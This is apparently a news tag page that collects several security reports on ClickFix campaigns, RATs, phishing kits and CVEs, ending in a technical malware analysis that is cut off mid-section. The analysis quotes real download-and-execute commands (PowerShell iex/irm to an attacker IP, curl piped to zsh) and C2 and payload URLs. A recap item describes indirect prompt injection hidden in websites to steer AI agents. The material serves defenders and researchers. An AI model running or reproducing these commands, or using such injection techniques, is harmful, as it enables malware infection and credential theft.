NetSupport

A crypto-mining campaign abusing Hugging Face models returned days after takedown, hijacking GPU servers and planting backdoors, with one model downloaded over 28,000 times. Separately, a fake Solana starter kit on GitHub is positioned to trick AI coding agents into installing a NetSupport RAT. [...]

Cybersecurity researchers are calling attention to what they say is a "recurring social engineering pattern" across hundreds of cases in which threat actors use Microsoft Teams' external chat creation feature to conduct impersonation scams or to deliver malware. "A consistent pattern of attacker behavior has emerged across these incidents: the use of the same throwaway tenants, the same 'IT

Cybersecurity researchers have disclosed details of a "human-operated phishing platform" that impersonates advertising products for artificial intelligence (AI) chatbots like Google Gemini, Anthropic Claude, OpenAI ChatGPT, Perplexity, Meta Muse, and Manus. The products, which claim to offer campaign optimization, spend audits, and business-account connections, are designed with one goal in

Threat Actors do not always use top-notch techniques or very complex malware to perform their attacks. Sometimes, they just abuse of existing applications...

Threat actors are abusing ChatGPT Custom GPTs to disguise them as legitimate product offerings and direct unsuspecting victims to malicious sites that employ ClickFix lures to deliver malware. Huntress, which observed the activity in late September 2026, said it marks the abuse of yet another feature in trusted artificial intelligence (AI) platforms. Prior campaigns have weaponized shared

ClickFix is changing the economics of social engineering ClickFix has moved from a one-off social engineering trick into an industrialized attack ecosystem that is outpacing conventional antivirus and endpoint defenses, according to ReversingLabs. The technique first showed up in late 2023 and early 2024, and Proofpoint named it in mid-2024. The method skips exploits and vulnerabilities entirely. A fake webpage, styled as a CAPTCHA check, browser update notice, or meeting error, instructs a visitor to open the Windows Run dialog or macOS Terminal, paste a command, and press Enter. JavaScript on the page has already copied a malicious command to the clipboard before the visitor sees any instructions. The command runs through PowerShell, mshta, or curl, tools already trusted on the system. Victims reach ClickFix lure pages through compromised websites acting as watering holes, malvertising placed through legitimate ad networks, SEO poisoning that ranks malicious pages for common search terms, and phishing campaigns impersonating vendors or internal IT teams. The MaaS economy “ClickFix’s rapid proliferation is not accidental,” ReversingLabs noted. “Behind the campaign diversity and payload variety is a structured Malware-as-a-Service (MaaS) economy that has industrialized the production, distribution, and operation of ClickFix.” Complete ClickFix kits sell on underground forums for $250 per month to $1,800 for a lifetime license, with software updates included. Higher-priced packages add pre-built lure templates for major targets like Cloudflare CAPTCHAs, browser and OS update screens, SSL certificate errors, font install pages, and meeting errors. Buyers also get domain rotation services, AV-bypass guarantees marketed as a standard feature, and support channels on Telegram. “This structure means that ClickFix campaigns can be launched by individuals with no meaningful malware development capability,” researchers added. “The sophistication is rented, not built. The practical consequence for defenders is a dramatic increase in campaign volume with no corresponding increase in the skill threshold of the attacker.” In April 2026, Netskope Threat Labs exposed the backend of one ClickFix MaaS platform after the operators’ own security lapse leaked server-side admin panel details. The backend managed multiple operators at once and tracked cryptocurrency wallet assets across victims. Its payload, a Node.js-based RAT, loaded stealing modules directly into memory after a command-and-control connection and routed traffic over gRPC through the Tor network. Payloads keep expanding Lumma Stealer is the most prolific ClickFix payload, but the payload catalog is expanding well beyond it, researchers found. Remote access trojans including DarkGate, XWorm, AsyncRAT, NetSupport, and SectopRAT are also in the ClickFix rotation, enabling hands-on-keyboard activity such as lateral movement, persistence, and data exfiltration. ClickFix attacks evolve and accelerate In January 2026, researchers at Huntress and Microsoft Defender Experts identified a new variant called CrashFix. It deliberately crashes the victim’s browser, then deploys a social engineering lure offering to restore it. That disruption raises compliance and cuts reliance on traditional exploit paths, since the user is reacting to a browser that has genuinely stopped working. “Security teams should treat CrashFix as evidence of an active development cycle behind ClickFix infrastructure.” NetSecurity documented a wider family of “fix-type” attacks. FileFix manipulates the Windows File Explorer address bar, PromptFix targets AI tooling, and ConsentFix abuses OAuth consent screens to hijack accounts. Early ClickFix campaigns went after everyday consumers. Lately the lures have gotten more corporate, mimicking Microsoft 365 prompts, VPN errors, and internal IT portals. Researchers expect AI-generated lure content to spread further. Fighting ClickFix with structural analysis ReversingLabs has come up with a fix for ClickFix’s evasion of common security tools, and that is to identify the attack before users ever paste a command into the Run dialog or Terminal, according to the report. To do this, Threat Analyst Toni Dujmović built a structural YARA rule that reads the lure page itself rather than the payload, then ran it against the company’s file collection. The rule, which ReversingLabs is releasing as open source, flagged 123 confirmed ClickFix lures that had evaded every antivirus engine tested. Of 4,062 matched samples, those 123 broke down into 105 flagged clean and 18 left unclassified, with several first observed within 48 hours. Researchers advise hardening systems at more than one point. PowerShell Constrained Language Mode limits what a script can do even when someone launches it directly, and script block logging leaves a record for when prevention fails. Windows Defender Application Control or AppLocker keeps living-off-the-land binaries from running outside their normal context. The social engineering layer is where a person still gets a say, and training employees to recognize fake browser updates, CAPTCHA pages, and IT support prompts also helps defend against ClickFix, ReversingLabs concluded.

A streaming box should not need a threat model. Neither should a username field, a demo repo, a reset flow, or a browser permission prompt. That is the irritating part this week: the risky pieces were ordinary. Home devices became a routing cover. Clean code pulled dirt from a dependency. Identity shortcuts aged badly. AI systems trusted the wrong instructions. Same soft spot throughout: trust placed one layer too early. Below is the full recap, since this is apparently what counted as a normal week. ⚡ Threat of the Week NetNut Residential Proxy Network Disrupted — Google, in collaboration with the U.S. Federal Bureau of Investigation (FBI), Lumen, and other partners, took action against the NetNut residential proxy network, also known as Popa, building upon its takedown of IPIDEA in January 2026. Google said it disabled Google accounts and associated Google services used by NetNut for malware command-and-control (C2) and updated Google Play Protect, in addition to disabling applications known to incorporate NetNut SDKs. The size of the network is estimated to be at least 2 million devices globally. "NetNut populates its botnet by distributing SDKs for devices commonly found in homes, such as smart TVs and streaming boxes," Google said, adding it "identified NetNut botnet plugin components for large-scale botnets such as BADBOX 2.0." The end goal is to leverage the route traffic through these devices, allowing bad actors to mask malicious activity. The devices are pre-installed with malware before purchase or because users unknowingly download applications containing hidden proxy code. Case Study: How 1Password Secured Canva's Path to 260M Users When Canva 5xed their headcount across 8 countries, they needed security that could scale as fast as their business. See how 1Password helped them onboard teams in minutes, eliminate secret sprawl, and keep engineering moving. Learn More ➝ 🔔 Top News WhatsApp Gets Usernames But Impersonation Concerns Are Raised — WhatsApp officially announced the start of global reservations of usernames with an aim to protect the privacy of more than three billion users on the messaging platform. The optional feature is designed to help users connect with someone on the service through usernames, as opposed to directly sharing their phone numbers. The feature is expected to be generally available later this year. The rollout marks a shift in how people identify one another on the messaging app. It has also drawn scrutiny in India, its largest market, over concerns it could be abused to impersonate public authorities, financial institutions, government departments, and other prominent figures. While Meta told TechCrunch it reserves usernames for public figures, government entities, and some of their variations so that only legitimate users can claim them, it's currently not clear how it decides which lookalike usernames get reserved and which don't. ChocoPoC RAT Targets Vulnerability Researchers with Fake PoC Exploit Repos — Security researchers on the lookout for Python-based proof-of-concept (PoC) repositories on GitHub claiming to exploit new CVEs are being tricked into executing malicious code that delivers ChocoPoC. While the PoC in itself looks clean, the actual malware sits inside a dependency named "skytext" pulled by the PoC. The malware is a full-featured trojan capable of harvesting passwords, cookies, autofill, and history from Chrome, Brave, Edge, and Firefox. It also captures text files, notes, local databases, shell history, network settings, and a list of running processes, as well as supports running arbitrary shell commands or Python code. 19-Year-Old Alleged Scattered Spider Suspect Extradited to the U.S. — Peter Stokes (aka Bouquet, Spencer, and Jordan), a 19-year-old man with dual U.S. and Estonian citizenship, was extradited from Finland to the U.S. to face criminal charges over his involvement in a criminal scheme in connection with the Scattered Spider hacking group. Finnish police arrested him in April 2026. Stokes and other Scattered Spider members are alleged to have breached an unspecified "luxury-jewelry retailer" in May 2025 and demanded an $8 million ransom in cryptocurrency. The company incurred at least $2 million in losses from business disruption, incident response, and recovery efforts. Stokes was involved in at least four Scattered Spider breaches, the Justice Department said. Stokes faces charges of fraud, conspiracy, and computer intrusion. Ousaban Banking Trojan Targets Spain and Portugal — A new Brazilian banking trojan called Ousaban has been observed using fake PDF documents containing a link to a malicious web page that scans the user's environment. "If they are in Spain or Portugal, the webpage downloads a VBS file to kickstart the next part of the attack," Fortinet said. "The final payload is an EXE file that is dropped onto the victim's computer and executed by the VBS script." Ousaban gets triggered when victims visit a banking site, at which point it captures screenshots and keystrokes, tampers with the clipboard, and enables remote control. AI-Generated Browser Ransomware Exploits Chromium File Access API — A new malware artifact generated using DeepSeek has constructed a novel attack path combining "unrealistic browser-malware concepts with a real browser capability" to turn it into a working ransomware technique that runs entirely inside the browser on Windows, Linux, macOS, and Android devices. The approach is limited to web browsers that expose the picker-based File System Access API. This includes Google Chrome and other Chromium-based browsers across Windows, macOS, ChromeOS, Linux, and Android. There is no evidence that the browser-native ransomware pattern has been abused in the wild. "What we are witnessing is a fundamental shift in how novel cyber attacks are born," Check Point said. "For the first time, we have evidence that an AI model can independently reason across legitimate platform features and surface a working attack technique that humans had only theorised about – without the attacker ever knowing the underlying API existed." 🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-48276, CVE-2026-48283, CVE-2026-48277, CVE-2026-48281, CVE-2026-48316, CVE-2026-48282, CVE-2026-48313, CVE-2026-48315 (Adobe ColdFusion), CVE-2026-48286 (Adobe Campaign Classic), CVE-2026-50548, CVE-2026-50549 (Cursor), CVE-2026-46242 aka Bad Epoll (Linux Kernel), CVE-2026-6682, CVE-2026-6687, CVE-2026-6688 (FatFs), CVE-2026-8037 (Progress Kemp LoadMaster), CVE-2026-28701, CVE-2026-33560, CVE-2026-31928 (Daktronics Controller Firmware), CVE-2026-41120 (Dell Wyse Management Suite), CVE-2026-41492 (Dgraph), CVE-2026-55047 (Anthropic Buffa), from CVE-2026-13774 through CVE-2026-13788 (Google Chrome), CVE-2026-48519, CVE-2026-48520, CVE-2026-7528, CVE-2026-7524 (Langflow), CVE-2026-3199 (Sonatype Nexus Repository), CVE-2026-12166, CVE-2026-12167, CVE-2026-12168 (Little Orbits GameFirst Anti-Cheat driver), CVE-2026-56141, CVE-2026-56142, CVE-2026-50242, CVE-2026-50242 (JetBrains), CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244 (ClamAV), CVE-2026-20191 (Cisco Catalyst Center), CVE-2026-53917, CVE-2026-54475, CVE-2026-49877 (Apache ActiveMQ), CVE‑2026‑13050, CVE‑2026‑13053, CVE‑2026‑13054, CVE-2026-13079 (WatchGuard Fireware OS), CVE-2026-45504 (Microsoft Exchange Server), CVE-2026-14191 (WinRAR), CVE-2026-44024, CVE-2026-44025 (Fluentd), CVE-2026-55957, CVE-2026-55956 (Apache Tomcat), CVE-2026-13136, CVE-2025-15660 (Synology MailPlus Server), CVE-2026-22678, CVE-2026-49102, CVE-2026-49103, CVE-2026-42210, CVE-2026-56022 (Webmin), from CVE-2026-12044 through CVE-2026-12050 (pgAdmin), CVE-2025-66273, CVE-2025-66279, CVE-2026-22893 (QNAP QTS, QuTS hero, QuTS cloud, and QVP), CVE-2026-11310, CVE-2026-11999, CVE-2026-6679, CVE-2026-55958, CVE-2026-55960, CVE-2026-55961 (wolfSSL), CVE-2026-48611 (phpBB), and CVE-2026-20896 (Gitea). 🎥 Cybersecurity Webinars AI Attacks Are Moving Faster Than Your Defenses → AI is helping attackers write better lures, change tactics faster, and run campaigns at a scale many security teams are not built to handle. This webinar breaks down how AI-powered threats like Mythos gain access, move through environments, and expose the limits of traditional network-based defenses—then shows how teams can reduce attack surface, stop lateral movement, and contain risky behavior before it turns into a major incident. Your AI Agents Need a Kill Switch → AI agents can do more than make mistakes—they can expose credentials, bypass controls, and become a new attack surface inside the business. This webinar uses hands-on findings from OpenClaw testing to show where agentic AI breaks down, why guardrails are not enough, and how teams can reduce risk with identity-based governance, least-privilege access, short-lived secrets, logging, auditing, and visibility into shadow AI use. 📰 Around the Cyber World Indirect Prompt Injection Attacks Targets AI Agents for Typosquatting and Payment Scam — Threat actors are using indirect prompt injection (IPI) to hide instructions in websites, attempting to trick an AI agent into following the attacker’s instructions. "The observed campaigns combine SEO poisoning with CSS/HTML abuse to both manipulate search results and conceal prompt-style instructions that influence AI decision making," Zscaler said. "When AI agents misclassify malicious websites as legitimate, they increase the risk of context contamination and downstream Retrieval-Augmented Generation (RAG) poisoning." Dropping Elephant Delivers In-Memory RAT — The threat actor known as Dropping Elephant (aka Patchwork) has been observed using a China-themed energy-sector contract lure to deliver a heavily reworked, in-memory remote access trojan (RAT). "This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of 'Donut' shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls," Rapid7 said. "The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications." The malware supports directory listing, file upload/download, screenshot capture, and command execution capabilities. Microsoft Updates SSPR to Require Registered Authentication Methods — Starting September 7, 2026, Microsoft said Entra self-service password reset will require users to have explicitly registered authentication methods for password reset verification, while explicitly disallowing directory-sourced contact information unless registered. "Currently, SSPR may allow users to verify their identity using contact information stored in directory attributes such as mobile phone, business phone, and alternate email, even if those values were never explicitly registered as authentication methods," Microsoft said. "To strengthen identity security, SSPR will require explicitly registered authentication methods for verification. This change is part of Microsoft’s Secure Future Initiative and ensures password reset verification is based on trusted, user-validated methods rather than directory-sourced attributes." The development comes as the Windows maker has introduced jailbreak and root detection for Entra credentials in the Microsoft Authenticator app on both iOS and Android platforms, preventing Entra credentials from functioning on jailbroken/rooted devices. Scammers Exploit Trusted Brand Names to Drive Casino Traffic — Scam advertising campaigns are impersonating trusted brands to drive consumers to unrelated online gambling sites. "These campaigns utilize paid social ads, fake app store pages, and Progressive Web Apps to make users believe that well-known brands have launched 'official' casino or slot products," Netcraft said. "The scams begin with an ad on social media platforms such as Facebook, Instagram, and TikTok. The ad claims that a recognizable brand has launched '[Brand] Slots' or a similar gambling product. Upon interacting with the ad, the user is taken to a fake landing page designed to look like an official app store listing or branded game page. Instead of installing a real app, the user is prompted to add a Progressive Web App to their device, which opens an unrelated online casino through affiliate tracking links." PhishLumos as a Way to Counter Cloaking-Based Phishing Threats — As phishing continues to be a persistent threat in cybersecurity, researchers from Tokyo Metropolitan University and NTT Security Holdings have demonstrated PhishLumos to counter campaigns that evade automated scanners through cloaking and selective blocking techniques. "When content is missing, deceptive, or inaccessible, PhishLumos pivots to infrastructure evidence, including shared domains, IP addresses, certificates, and historical scan metadata," the researchers said. "It consolidates observations into a typed property graph knowledge base with a deterministic, idempotent merge operator and provenance for auditable investigations. A supervisor agent coordinates specialized agents and synthesis agents powered by large language models to profile campaigns and generate empirically validated detection rules for deployment in existing controls." CVE Explosion in the AI Era — With artificial intelligence (AI) and large language models (LLMs) accelerating vulnerability discovery, a new report from ProjectDiscovery has found that 30,550 CVEs have been published so far in 2026, a figure that's expected to eclipse 2025's 49,458 CVEs. Of these, 2,906 are rated critical, and 11,187 are rated high in severity. In contrast, a total of 30,361 CVEs were published in 2023. "The exploitable surface is doubling faster than defenders can absorb," ProjectDiscovery said. When the median time-to-exploit is days and the mean is negative, a 55-day critical-remediation cycle is not a process, it's an open door. If attackers are weaponizing bugs in minutes with AI, the response, finding them, proving they're real and handing developers a fix, has to run continuously and autonomously, not on a calendar." New ClickFix Campaign Uses Blockchain C2 — An active malware-as-a-service (MaaS) operation is abusing the Polygon (MATIC) blockchain as a resilient C2 configuration with a ClickFix lure. More than 130 compromised lure websites have been detected so far as part of the campaign. "Compromised websites are injected with a script named tracker.js, appearing as 'JokerStat Analytics Tracker,'" Palo Alto Networks Unit 42 said. "In addition to the clipboard injection, this script performs screenshot and victim-session telemetry exfiltration every 2 minutes." When a victim visits a compromised site, the injected JavaScript performs a blockchain lookup to fetch the C2 server URL. "After C2 resolution, tracker.js starts collecting victim telemetry, including pageview events, heartbeat and screenshots," Unit 42 said. "The same tracker.js then injects the clipboard content personalized per victim. The victim sees a fake CAPTCHA overlay and follows the instructions leading to a ClickFix attack." The attack culminates with the deployment of an infostealer written in Ruby. 2 Venezuela Nationals Sentenced in ATM Jackpotting Attacks — Two illegal aliens from Venezuela, Carlos Javier Padron, 36, and Arnoldo Cabrera Torrealba, 37, were sentenced to 78 months in prison in the U.S. for their involvement in ATM jackpotting activities. The two individuals pleaded guilty to one count of conspiracy to commit bank burglary and one count of computer fraud and intentional damage to a protected computer. The defendants built and deployed a variant of the Ploutus malware on ATMs across the country and used it to withdraw money without authorization. "The conspiracy relied on individuals, including Padron and Torrealba, to deploy the Ploutus malware onto ATMs in person," the U.S. Justice Department said. "Once installed and activated, the malware permitted the co-conspirators to issue commands to the cash dispensing module of the ATM in order to force unauthorized withdrawals of currency." Padron and Torrealba were also ordered to jointly pay $1.53 million in restitution. More than 90 other defendants have been charged over their roles in the operation. Bypassing Microsoft Entra Conditional Access Policies — NetSPI said it found a way to bypass Microsoft Entra Conditional Access Policies by abusing Nested App Authentication to return access tokens for the Microsoft Graph API. "It was possible to use certain Nested App Authentication (or BroCI) flows to bypass any Conditional Access policy," security researcher Thomas Byrne said. "This vulnerability served mainly as a persistence mechanism as it would have required a successful phishing attack to return an initial refresh token before the vulnerable authentication flows could be carried out." A fix for the issue has since been rolled out by Microsoft. Threat Actors Target Laravel Livewire Flaw — More than 6,100 applications have been compromised as part of a campaign targeting CVE-2025-54068, a critical unauthenticated RCE vulnerability in Laravel Livewire, to deliver a credential stealer by means of a shell script. The stealer harvests database-related configurations, Stripe secret keys, SMTP passwords, Google OAuth client secrets, JWT secrets, and AWS IAM credentials from .env files and exfiltrates them to a remote server. The campaign is assessed to have been underway for several months. "Recovery and analysis of the attacker's exfiltration infrastructure revealed credentials harvested from 6,167 distinct applications spanning dozens of countries and sectors, from e-commerce and healthcare to financial services, education, and government," Imperva said. "The attacker’s FTP server contained 1,851+ database dumps and 18+ email lists with over 26 million addresses, indicating the stolen credentials were being actively exploited." The activity has been attributed to an Indonesian-origin threat actor. Booking.com Partner Firms Targeted in TONResolver Campaign — Attackers are targeting employees of Booking.com partner companies in Japan using phishing emails that impersonate guest complaints and review requests to trick hotel staff into executing malicious files. The emails are sent using the notification functionality of a scheduling tool service, allowing them to bypass SPF, DKIM, and DMARC checks. The attacks led to the deployment of TONResolver, which abuses the Open Network (TON) blockchain platform as a dead drop resolver. "In this attack, a ZIP file was downloaded by accessing a hyperlink to a suspicious website, and the infection began when the user clicked a shortcut link file (LNK) disguised as a photo file within the ZIP archive," Trend Micro said. This triggers the execution of PowerShell that fetches and runs the JavaScript-based TONResolver malware using "node.exe," a core executable file for Node.js. The malware then connects to the C2 server obtained from the TON platform for additional attack execution and sends commands. Mamont Android Malware Dissected — An Android malware called Mamont is distributed via dropper apps masquerading as dating services to facilitate financial fraud. "The dropper and its embedded companion APK work in tandem to silently install, launch, and maintain control over the victim device while performing financial reconnaissance and awaiting attacker instructions," NCC Group said. A second variant of the malware has been found to serve phishing overlays inside Android WebView components at runtime, while also initiating phone calls, collecting installed applications, gathering device/network information, and manipulating system behavior to suppress notifications. "Additionally, it can execute commands dynamically based on input, indicating remote control functionality, and it reports execution results back through an internal handler or communication channel," security researcher Vamsi Pavuluri said. 2 Campaigns Deliver AsyncRAT — Phishing emails containing a Dropbox URL as well as macro-laced spreadsheets to distribute AsyncRAT malware. "When the recipient clicks on the link, a ZIP file is downloaded," Forcepoint said. "This file contains an Internet shortcut file in a .URL format. Opening this file leads to downloading multiple malware payloads in the background while the user is deceived by a legitimate-looking PDF opening. This file leads to a .lnk file, which then leads to a JavaScript file. This JS file links to a .BAT file, which hosts malicious content that ultimately delivers another ZIP file. This new ZIP file houses the Python script used to execute the AsyncRAT malware." The second campaign, detailed by LevelBlue, involves the use of generic emails targeting sales, procurement, and vendor management staff with a malicious spreadsheet that uses an embedded macro to download an HTA script, which then performs environment checks before delivering AsyncRAT or Remcos RAT. Clubfoot Wolf and Fluffy Wolf Targets Russia — BI.ZONE has disclosed cyber attacks mounted by an intrusion set it tracks as Clubfoot Wolf targeting a wide range of Russian sectors using spear-phishing emails to deliver NetSupport RAT to establish persistent remote access. A second threat cluster dubbed Fluffy Wolf has leveraged malicious email attachments and GitHub repository URLs to redirect recipients to ZIP archives that deliver PureLogs Stealer, PureRAT, and the Pay2Key ransomware. Also put to use in the attacks is a previously unreported C++ downloader called PowerLoader to fetch malicious PowerShell scripts from the C2 server over HTTP. In this attack chain, the loader is responsible for retrieving PureCrypter, which then launches the final payload. Multiple PhaaS Kits Spotted in the Wild — A number of phishing-as-a-service (PhaaS) toolkits have been identified: CodeStorm (which is a tenant-aware Microsoft 365 phishing kit), ARToken (a fully-featured PhaaS operator panel that shares overlaps with EvilTokens, a device code phishing toolkit), Console (for harvesting AWS console credentials), Mirage2FA (which uses short-lived HTML smuggling and obfuscated JavaScript-loaders to deliver fake Microsoft 365 login pages), and Bluekit (which uses browser-in-the-middle technique to load the legitimate login page inside an attacker-controlled browser, causing the victim to log into their accounts on the attacker's machine). At the same time, reports indicate that the Tycoon 2FA PhaaS service has resurfaced with new infrastructure and obfuscation layers following its law enforcement takedown back in March 2026. These developments also coincide with a surge in device code phishing attacks that exploit legitimate OAuth flows. Specifically, the attack tricks users into entering a device code that then issues active cookies and tokens directly to the attacker's device, bypassing multi-factor authentication (MFA). In tandem, Chinese-language phishing-as-a-service (PhaaS) communities are expanding in an area historically dominated by Russian-speaking cybercriminal groups. One such PhaaS service is the Darcula platform, linked to threat actor UNC5814, which has abandoned static phishing templates in favor of AI-powered page generators and browser automation tools, Loke Puppeteer, that can clone legitimate websites by replicating their HTML, CSS, JavaScript, and visual elements. Because each generated phishing page is unique, traditional signature-based detection methods are rendered ineffective. While PhaaS is at the core of these operations, these developers also typically offer numerous ancillary services, including the sale of personal and financial information. According to a report from Group-IB, data brokers active in Chinese-speaking dark web forums and Telegram channels are advertising large volumes of purportedly stolen data from organizations worldwide. These include marketplaces like Exchange Market, Chang’An Sleepless Night, Aiqianjin, Yiqun Data, and Phoenix Overseas Resources. 🔧 Cybersecurity Tools T3MP3ST → It is an open-source offensive security framework that connects to an AI coding agent and uses it to run authorized security tests across web apps, CTF-style challenges, source code, and other targets. It provides a browser War Room and CLI for recon, exploit testing, and reporting, while its maintainers state it should only be used on systems the user owns or has written permission to test. NOX → It is an open-source Go-based tool for attack surface management, reconnaissance, and vulnerability scanning. It can run passive checks, quick probes, custom YAML workflows, or a full scan using 299 built-in modules across OSINT, subdomains, DNS, ports, web fingerprinting, and deeper vulnerability tests. Its maintainers warn that active scans make real network requests and should only be run against systems the user owns or has written permission to test. Disclaimer: This is strictly for research and learning. It hasn't been through a formal security audit, so don't just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law. Conclusion Most of this week’s problems did not need a clever attacker so much as a useful opening. A trusted device, a trusted repo, a trusted reset path, a trusted browser feature. That word did a lot of damage. Patch what is yours. Question what looks too clean. And maybe stop assuming the boring parts are safe just because they look boring.

Updated July 6 to add connections with SyncTDS and TrafficTDS ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices. A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system. We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer. In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer. Before we look at the technical details, here’s how to avoid becoming the next victim. How to stay safe ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple: Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does. Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem. Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly. Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them. Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels. Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages. Technical analysis The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads. Different lures, one goal Most of the campaigns share several characteristics: Use of the folder C:\ProgramData\Zooms to extract later stages PowerShell ClickFix commands that follow similar patterns Use of Cloudflare R2 buckets to deliver payloads IP addresses hosted by the ASN Dedik Services Limited HTML responses containing only the phrase "hehe" These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets. The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)” The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. We observed these ClickFix campaigns being distributed through: Old websites that have likely expired and been repurchased by the actor(s). CloudFlare Pages (.pages.dev domains). Compromised websites. Fake services, for example related to QR code or web file access. Google ClickFix lures The actors behind these campaigns use various Google-related HTML pages and kits. One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign. Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: /conf/captcha.html?zoneid=10420852 /wincapbot/nobot.html /xmr/trkuste.php?zone=5327134 bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop In this case, the functions related to ClickFix are implemented in the class CustomCaptcha. The command is present in clear without any obfuscation. Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains. In this case, the HTML page is obfuscated by declaring several variables and XORing them. The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController. The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally. We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command: {"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} Other lures The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. We also detected some specifically created fake services websites. For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. In this case the command is encoded in base-64: PowerShell downloader The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. We have detected several variations of this script, but recent versions do the following: Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP. Send the information of the compromised machine to http://{IP}/dl-callback . In some variants of the script, this part is not present. The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. Trojanized Electron app downloads ResiLoader In this case, the ZIP was downloaded from: pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip After extraction to: C:\ProgramData\Zooms\libEGL.zip_ext The zip contains a trojanized version of the open-source messaging app called “Franz”: The malicious code is implemented in the index.js file: The downloader performs the following operations: Decode the strings with the function HC() . Reads readme.txt , expects a campaign key of the formAAAA-BBBB , returns it as an array of tokens. In this case the name isresiloader-1 and for this we call “ResiLoader” the downloaded DLL. Reads %APPDATA%\setup.txt ; if absent, generates a random 8-char string and persists it. Obtaining persistence using app.setLoginItemSettings . Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response - If task.e is present, it executeseval(task.e) ; it allows the attacker to execute arbitrary JavaScript code. - If task.files is present, create%TEMP%\ \ , decode and write each file; if any filename ends in.exe , run it viachild_process.exec . If In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: {"task":{"name":"JUNE18USY","files":{ "msys-2.0.dll":" ", "msys-crypto-3.dll":" ", "msys-gcc_s-seh-1.dll":" ", "ssh-add.exe":" " }}} After, the executable was executed with: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" ResiLoader The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC. We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. The loader contains several strings, some clear and some encrypted. After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. MANPO: ReadModule len=... MANPO: magicOffset=... … PERS: FAIL all file copies failed, skipping run key PERS: FAIL both HKLM and HKCU Run key writes failed … RUNPE: CreateProcess failed RUNPE: PEB patched RUNPE: VirtualAllocEx failed … POST: 